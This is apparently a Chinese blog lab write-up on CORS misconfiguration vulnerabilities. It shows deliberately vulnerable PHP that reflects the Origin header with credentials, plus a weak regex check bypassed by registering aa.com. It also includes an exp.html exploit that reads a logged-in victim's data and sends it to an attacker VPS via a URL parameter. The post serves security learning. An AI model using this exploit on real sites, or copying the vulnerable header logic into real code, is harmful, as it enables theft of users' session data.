zoukankan      html  css  js  c++  java
  • CORS配置错误那些事

    CORS配置错误那些事


    这里记录一下我学习CORS配置错误漏洞的实验过程。

    CORS介绍:


    跨域资源共享(CORS) 是一种机制,它使用额外的 HTTP 头来告诉浏览器 让运行在一个 origin (domain) 上的Web应用被准许访问来自不同源服务器上的指定的资源。当一个资源从与该资源本身所在的服务器不同的域、协议或端口请求一个资源时,资源会发起一个跨域 HTTP 请求。
    上面这一段是我网上摘下来的介绍,我个人的浅显理解是:为了解决需要获取不同域的资源,但是受限于同源策略无法跨域获取资源的情况下,可以通过在被获取资源的响应头中设置CORS相关字段来达成目的。

    CORS关键HTTP头字段


    如下这几个字段,如果配置不当就容易产生安全问题:

    Access-Control-Allow-Origin:指定哪些域可以访问域资源。例如,如果requester.com想要访问provider.com的资源,那么开发人员可以使用此标头安全地授予requester.com对provider.com资源的访问权限。
    Access-Control-Allow-Credentials:指定浏览器是否将使用请求发送cookie。仅当allow-credentials标头设置为true时,才会发送Cookie。
    Access-Control-Allow-Methods:指定可以使用哪些HTTP请求方法(GET,PUT,DELETE等)来访问资源。此标头允许开发人员通过在requester.com请求访问provider.com的资源时,指定哪些方法有效来进一步增强安全性。

    漏洞场景


    场景A
    假设站点a.com的index.php在登录之后可以获取到敏感信息,代码如下:

    // index.php
    <?php
    if(isset($_SERVER['HTTP_ORIGIN'])){
    	header('Access-Control-Allow-Origin: ' . $_SERVER['HTTP_ORIGIN']);
    	header('Access-Control-Allow-Credentials: true');
    }
    
    var_dump($_SERVER);
    session_start();
    if(@$_SESSION['user'] == 'admin'){
    	$info = array('user'=>'admin', 'pass'=>'123123');
    	echo json_encode($info);
    }else{
    	echo 'Login fail, <a href=login.php>login</a>';
    }
    
    // login.php
    <?php
    session_start();
    
    $_SESSION['user'] = 'admin';
    header('Location: index.php');
    

    这是我在实践中遇到过的,Access-Control-Allow-Origin的值为请求包中的Origin。这个问题就大了,我们使用任意的域都可以访问这个站的资源。我们来实际模拟一下。
    我们先访问http://a.com/index.php,并且点击login登录获取登录凭证。

    我们构造如下exp

    <!-- exp.html -->
    <html>
    <head>
        <script type="text/javascript">
    function cors() {  
    var xhttp = new XMLHttpRequest();  
    xhttp.onreadystatechange = function() {    
        if (this.status == 200) {    
        // alert(this.responseText);     
        document.getElementById("demo").innerHTML = this.responseText;
    	if(this.responseText != ""){
    		var url = "http://vps的ip/1.php?data=" + escape(this.responseText);
    		var xhttp2 = new XMLHttpRequest();
    		xhttp2.open("GET", url, true);
    		xhttp2.send();
    	}
    	
    	
        }  
    };  
    xhttp.open("GET", "http://a.com/index.php", true);  
    xhttp.withCredentials = true;  
    xhttp.send();
    }
    cors();
    
    
        </script>
    </head>
    <body>
        <textarea id="demo"></textarea>
    </body>
    </html>
    

    然后在vps上监听自己设置的端口,比如我设置的是http://x.x.x.x:4040

    此时,我们前面已经获取到a.com上的登录凭证,可以直接获取到敏感信息。然后我们再访问http://b.com/exp.html,看看效果。

    我们可以看到下图,已经获取到敏感信息了。我们再看看vps上有没有拿到敏感信息。

    我们可以看到GET请求参数data已经把敏感数据发送过来了。
    我们再来看看请求包的详细情况

    我们可以看到 a.com/index.php 获取到了origin,把他放进Access-Control-Allow-Origin里,我们成功的跨域获取到了敏感信息。然后看后面的数据包,把获取到的敏感信息发送到我们的vps上。

    场景B
    我们根据场景A的代码稍微变动一下,只需要修改index.php:

    // index.php
    <?php
    if(isset($_SERVER['HTTP_ORIGIN'])){
    	if(preg_match('/.*(a.com)/i', $_SERVER['HTTP_ORIGIN'])){
    		header('Access-Control-Allow-Origin: ' . $_SERVER['HTTP_ORIGIN']);
    		header('Access-Control-Allow-Credentials: true');
    	}
    }
    
    session_start();
    if(@$_SESSION['user'] == 'admin'){
    	$info = array('user'=>'admin', 'pass'=>'123123');
    	echo json_encode($info);
    }else{
    	echo 'Login fail, <a href=login.php>login</a>';
    }
    

    这里我们可以看到index.php开头判断了Origin为*a.com时,取$_SERVER['HTTP_ORIGIN']作为Access-Control-Allow-Origin的值。但是这样的防护并不严谨,我们只需要注册一个aa.com的域名,就可以绕过这层限制。
    我们来实验一下,将exp.html放到aa.com里。然后访问http://a.com/index.php并获取cookie,然后访问http://aa.com/exp.html。

    我们通过上图,可以看到成功的获取到了敏感信息。
    如果觉得这个方式成本过高,还可以通过另外一个方式。就是在a.com或a.com的子域名里挖掘xss,然后将exp.html里的js放入xss payload位置,同样可以获取到敏感信息。

    注意事项


    1. 这里可能有些人会问,如果遇到Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true是不是就可以无视同源策略,任意获取资源了。但是事实并非如此,因为CORS协议为了防止开发者开发时错误配置了CORS,规定了Allow-Credentials为ture时,Allow-Origin必须为特定的域名,而不能是*。
    2. 上面的所有测试代码只是为了模拟真实情况下的效果,真实环境下的代码可能并不是这样写的,只是效果是相似的。

    参考文献


    感谢这些文章的师傅讲解,让我能顺利学习这个知识点。
    浅析CORS攻击及其挖洞思路
    三种对CORS错误配置的利用方法
    CORS(跨域资源共享)错误配置漏洞的高级利用

    CTF相关
  • 相关阅读:
    Java并发包中Lock的实现原理
    多线程---再次认识volatile,Synchronize,lock
    共享锁(S锁)和排它锁(X锁)
    Java 7中的TransferQueue 以及 SynchronousQueue
    精巧好用的DelayQueue
    非阻塞同步算法与CAS(Compare and Swap)无锁算法
    彻底理解线索二叉树
    使用import取代require
    子页面iframe跨域执行父页面定义的JS方法
    利用js实现 禁用浏览器后退
  • 原文地址:https://www.cnblogs.com/Gcker/p/12384647.html
Copyright © 2011-2022 走看看